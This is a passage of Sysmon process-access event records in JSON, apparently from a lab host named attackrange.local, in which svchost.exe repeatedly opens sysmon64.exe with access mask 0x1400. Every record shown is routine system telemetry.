11:52:07.904","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2872,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:07.904\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:07.904","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2873,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:07.904\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:07.904","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2874,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:07.904\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:07.904","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2875,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:07.904\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:07.904","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2876,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:07.904\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:07.904","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2877,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:07.904\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:07.904","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2878,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:07.904\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:07.904","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2879,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:07.904\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 